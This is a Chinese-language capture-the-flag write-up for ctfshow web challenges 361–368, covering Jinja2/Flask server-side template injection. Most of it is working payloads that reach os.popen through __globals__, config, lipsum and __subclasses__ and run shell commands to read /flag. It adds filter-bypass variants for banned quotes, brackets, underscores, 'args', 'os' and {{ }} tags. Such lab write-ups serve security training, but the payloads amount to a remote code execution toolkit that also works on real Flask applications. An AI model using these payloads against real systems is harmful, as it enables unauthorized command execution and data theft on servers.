ctfshow——web入门361~368
最近练习ssti
当 Web 应用程序使用模板引擎动态生成 HTML 页面或其他类型的输出时,如果用户输入未经过充分验证或转义就被直接嵌入到模板中,就可能发生 SSTI 攻击。攻击者可以利用这个弱点注入恶意模板代码,该代码将在服务器端执行。
常见的模板引擎
- Jinja2 (Python)
- Twig (PHP)
- FreeMarker (Java)
- Handlebars (JavaScript)
- Angular (JavaScript)
eg: {{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{2*2}}会被解析成4。因此才有了现在的模板注入漏洞。往往变量我们使用{{恶意代码}}。正因为{{}}包裹的东西会被解析,因此我们就可以实现类似于SQL注入的漏洞
魔术方法
__class__ :返回类型所属的对象
__mro__ :返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ :返回该对象所继承的父类
__mro__ :返回该对象的所有父类
__subclasses__() 获取当前类的所有子类
__init__ 类的初始化方法
__globals__ 对包含(保存)函数全局变量的字典的引用
lipsum
是一个内置函数,用于生成占位文本(Lorem Ipsum)
了解文章
web入门361
首先根据提示,猜测为name
测试:
找到点
''.__class__查看当前类
''.__class__.__base__.__subclasses__() 查看当前类所属父类下的所有子类
payload1:?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls').read()}}
这里的132指的就是os的位置
payload2:?name={{config.__class__.__init__['__globals__']['os'].popen('tac /flag').read()}}
config.__class__
config
是 Flask 框架中的一个全局对象,通常用于存储应用的配置信息。__class__
获取config
对象的类,即<class 'flask.config.Config'>
。
.__init__
__init__
是类的构造函数方法。- 它本身是一个函数对象,因此可以访问其属性。
['__globals__']
__globals__
是函数对象的一个属性,返回该函数定义时的全局命名空间(即全局变量字典)。
['os']
在全局命名空间中,os
是 Python 标准库中的一个模块,用于与操作系统交互。
- 攻击者通过
__globals__['os']
访问os
模块。
.popen('ls').read()
os.popen(command)
执行指定的 shell 命令,并返回一个文件对象。.read()
读取命令的输出。
web入门362
?name={{''.__class__.__base__.__subclasses__()}}查类,找os
这里的2,3被过滤了,那就140-8
payload1:?name={{''.__class__.__base__.__subclasses__()[140-8].__init__.__globals__['popen']('tac /flag').read()}}
payload2:?name={{config.__class__.__init__['__globals__']['os'].popen('tac /flag').read()}}
payload3:?name={{lipsum.__globals__.get('os').popen('cat /flag').read()}}
通过 lipsum.__globals__.get('os')
获取对 os
模块的引用
lipsum
lipsum
本身是一个 Python 函数对象,它有一个 __globals__
属性,指向该函数定义时的全局命名空间(global namespace)。这意味着通过 lipsum.__globals__
,可以访问到该函数所在模块中的所有全局变量和导入的模块
web入门363
这题是过滤了单双引号
payload1:我们通过 get 传参绕过:
?name={{config.__class__.__init__.__globals__.os.popen(request.args.a).read()}}&a=tac%20/flag
同理:
?name={{lipsum.__globals__.get(request.args.a).popen(request.args.b).read()}}&a=os&b=tac /flag
request.args
request.args
是 Flask 中的一个字典对象,用于存储 URL 查询参数
web入门364
这题args被禁止了
POST传参也不行
那就传到cookie
第二种:使用values
request.values.a
request.values
是一个特殊的属性,用于统一访问请求中的所有参数。它结合了 request.args
(URL 查询参数)和 request.form
(表单数据)
?name={{config.__class__.__init__.__globals__.os.popen(request.values.a).read()}}&a=tac%20/flag
web入门365
看了下payload,这里是过滤了中括号,所以我们364的所有payload都可以用,这里就不列出来了
?name={{config.__class__.__init__.__globals__.os.popen(request.values.a).read()}}&a=tac /flag
然后看了其他师傅的,也可以 __getitem__ 绕过
?name={{().__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.popen(request.values.b).read()}}&b=ls
web入门366
这题还把_给过滤了
我们以
?name={{lipsum.__globals__.os.popen(request.values.a).read()}}&a =cat /flag
为模板
看看怎么吧__globals__搞出来
?name={{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=tac /flag&b=__globals__
attr()
attr()
过滤器,允许通过名称动态访问对象的属性。这与 Python 中的 getattr()
函数类似。在这个例子中,attr(request.values.b)
用于从 lipsum
对象中获取名为 request.values.b
的属性
还有:
?class=__class__&base=__base__&sub=__subclasses__&geti=__getitem__&ini=__init__&glo=__globals__&flag=cat /flag&popen=popen&read=read&name={{()|attr(request.values.class)|attr(request.values.base)|attr(request.values.sub)()|attr(request.values.geti)(132)|attr(request.values.ini)|attr(request.values.glo)|attr(request.values.geti)(request.values.popen)(request.values.flag)|attr(request.values.read)()}}
web入门367
这题是过滤了os
用get来获得参数
?name={{(lipsum | attr(request.values.b)).get(request.values.c).popen(request.values.a).read()}}&a=tac /flag&b=__globals__&c=os
web入门368
{{request}}被过滤,但是
{%request%}是ok的
{%print%}
{% ... %}
:这是 Jinja2 的控制结构语法,用于执行逻辑操作(如变量赋值、循环、条件判断等)
{% print() %}
实际上会尝试调用 Python 的 print()
函数,并将内容输出到服务器端的标准输出
payload:
?name={%print((lipsum | attr(request.values.b)).get(request.values.c).popen(request.values.a).read())%}&a=tac /flag&b=__globals__&c=os